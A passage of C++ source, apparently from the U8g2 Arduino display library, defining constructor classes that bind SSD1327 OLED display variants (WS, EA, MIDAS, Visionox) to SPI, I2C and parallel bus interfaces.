u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_WS_128X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_WS_128X128_F_6800 : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_WS_128X128_F_8080 : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_EA_W128128_1_SW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_EA_W128128_1_HW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_EA_W128128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_SW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_MIDAS_128X128_1_HW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_MIDAS_128X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_WS_128X128_1_SW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_WS_128X128_1_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_WS_128X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_EA_W128128_2_SW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_EA_W128128_2_HW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_EA_W128128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_SW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_MIDAS_128X128_2_HW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_MIDAS_128X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_WS_128X128_2_SW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_WS_128X128_2_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_WS_128X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_EA_W128128_F_SW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_EA_W128128_F_HW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_EA_W128128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_EA_W128128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_SW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_MIDAS_128X128_F_HW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_MIDAS_128X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_MIDAS_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_WS_128X128_F_SW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_WS_128X128_F_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_WS_128X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_WS_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_6800 : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_8080 : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_6800 : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_8080 : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_6800 : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_8080 : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_SW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_1_HW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_VISIONOX_128X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_SW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_2_HW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_VISIONOX_128X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_2(&u8g2, rotation, 